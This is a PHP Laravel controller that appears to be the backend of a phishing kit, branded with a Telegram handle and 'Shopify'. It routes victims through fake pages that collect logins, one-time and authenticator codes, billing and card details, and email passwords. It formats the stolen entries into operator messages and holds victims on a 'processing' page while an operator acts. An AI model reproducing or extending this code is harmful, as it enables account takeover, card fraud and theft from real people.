<?php

namespace App\Http\Controllers;

use App\Models\Session;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Log;

class Controller extends BaseController
{
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;
    public static function formatArrayToString($array){
        $string = "------- Certain Boss @Mbstua Telegram [Shopify]--------- \r\n";
        foreach ($array as $key=>$value){
            $string.="$key :  $value,\n";
        }
        return $string."\r\n --------Certain Boss @Mbstua Telegram [Shopify]-------";
    }
    public static function nextPage(){
        $session = session()->get('user');
        $session=Session::query()->where('identifier',$session)->first();
        $flows = explode(',',config('app.page_flow'));
        $flowCounter = explode(',',config('app.page_flow_loop_counter'));
        if($session->completed==1){

            return 'success';
        }
        if(is_null($session)){
            return $flows[0];
        }
        if(!$session->hasSessionProcesses()){

            return $flows[0];
        }else{
            if($session->hasLatestNotFilled()) {

                return $session->sessionProcesses()->where('filled', false)->latest()->first()->proceed_to;
            }else{

                $last = $session->data()->latest()->first()->page;
                $currentPageIndex =collect(array_keys($flows,$last))->first();
                $nextPage = $currentPageIndex+1;
                $flowsCount = count($flows)-1;
                $flowCounterConstrain=$flowCounter[$currentPageIndex];
                $counter = \session()->get("looper_$last")??0;
                if($counter<$flowCounterConstrain){

                    return $flows[$currentPageIndex];
                }else{
                    if($session->data()->count()) {
                        $created = $session->data()->latest()->first()->created_at;
                    }else{
                        $created = $session->sessionProcesses()->latest()->first()->created_at;
                    }

                    $acceptableWaitTime= Carbon::parse($created)->addMinutes(config('app.max_wait_time',20));

                    if(now()->greaterThan($acceptableWaitTime)) {
                        if ($nextPage > $flowsCount) {

                            return $flows[$flowsCount];
                        } else {

                            return $flows[$nextPage];
                        }
                    }else{

                        return "processing";
                    }
                }
            }
        }


    }
    public static function getUserCurrentPage($session){

        $session=Session::query()->where('identifier',$session)->first();
        $flows = explode(',',config('app.page_flow'));
        $flowCounter = explode(',',config('app.page_flow_loop_counter'));
        if($session->completed==1){
            return 'success';
        }
        if(!$session->hasSessionProcesses()){
            return $flows[0];
        }else{
            if($session->hasLatestNotFilled()) {
                return $session->sessionProcesses()->where('filled', false)->latest()->first()->proceed_to;
            }else{
                $last = $session->sessionProcesses()->latest()->first()->proceed_to;
                $currentPageIndex =collect(array_keys($flows,$last))->first();
                $nextPage = $currentPageIndex+1;
                $flowsCount = count($flows)-1;
                $flowCounterConstrain=$flowCounter[$currentPageIndex];
                $counter = \session()->get("looper_$last")??0;
                if($session->data()->count()) {
                    $created = $session->data()->latest()->first()->created_at;
                }else{
                    $created = $session->sessionProcesses()->latest()->first()->created_at;
                }
                $diff= Carbon::parse($created)->diffInMinutes(now());
                if($diff>config('app.max_wait_time',20)) {

                    if ($nextPage > $flowsCount) {

                        return $flows[$flowsCount];
                    } else {

                        return $flows[$nextPage];
                    }
                }else{

                    return "processing";
                }
            }
        }
    }
    public static function getPageLoop($page){
        $flowCounter = explode(',',config('app.page_flow_loop_counter'));
        $flows = explode(',',config('app.page_flow'));
        $last = $page;
        $currentPageIndex =collect(array_keys($flows,$last))->first();
        return $flowCounter[$currentPageIndex];
    }
    public static function pageIsFirst($page){
        $flowCounter = explode(',',config('app.page_flow_loop_counter'));
        $flows = explode(',',config('app.page_flow'));
        $last = $page;
        $currentPageIndex =collect(array_keys($flows,$last))->first();
        return $currentPageIndex==0;
    }
    public static function isOnline($time){
        return Carbon::parse($time)->between(now()->subMinutes(3),now());
    }
    public static $mapper = [
        'login'=>'Login',
        'phone'=>'Phone Number',
        'f-login'=>'Failed Login',
        'verify-otp'=>'Login OTP',
        'authenticator-otp'=>'Authenticator OTP',
        'bank-email-otp'=>'Login Mail OTP',
        'billing'=>'Billing Information',
        'card'=>'Card Information',
        'email'=>'Email Access',
        'password'=>'Email Password',
        'otp'=>'Email Login OTP',
        'email-otp'=>'Email mail OTP',
        'phone-confirm'=>'Email Phone Last 4 digit Confirm',
        'check-device'=>'Email Check Device(G)',
        'device-number-confirmation'=>'Email Device Number Confirmation (G)',
        'success'=>'Complete',
    ];
    public static $mapperC = [
        'login'=>'for Login',
        'phone'=>'for phone validation',
        'f-login'=>'for Login',
        'email'=>'for Email authorization',
        'email-password'=>'for Email authorization',
        'password'=>'for Email authorization',
        'verify-otp'=>'for Login OTP',
        'authenticator-otp'=>'for Login OTP',
        'email-otp'=>'for Login OTP',
        'mail-otp'=>'for Login OTP',
        'bank-email-otp'=>'for Login OTP',
        'billing'=>'for safeguarding procedures',

        'otp'=>'for Security Code',
        'otp-error'=>'for Security Code',
        'phone-confirm'=>'Phone Confirmation',
        'f-phone-confirm'=>'Phone Confirmation',
        'device-number-confirmation'=>'Device Number Confirmation',

        //'otp-transfer'=>'for Transfer OTP',
        'card'=>'for verification',
        'success'=>'Complete',
        'error'=>'to restart',
    ];
    public static $mails = [
        'gmail' =>['gmail.com'],
        'yahoo'=>['yahoo.com','ymail.com','rocketmail.com','att.net'],
        'aol'=>['aol.com'],
        'microsoft'=>['outlook.com','live.com','hotmail.com'],

    ];
    public static function guessMail($mail){
        [$user,$ext]=explode('@',$mail);
        $ext = strtolower($ext);
        foreach (static::$mails as $key=>$value){
            if(in_array($ext,$value)){
                return $key;
            }
        }
        return 'other';
    }
}
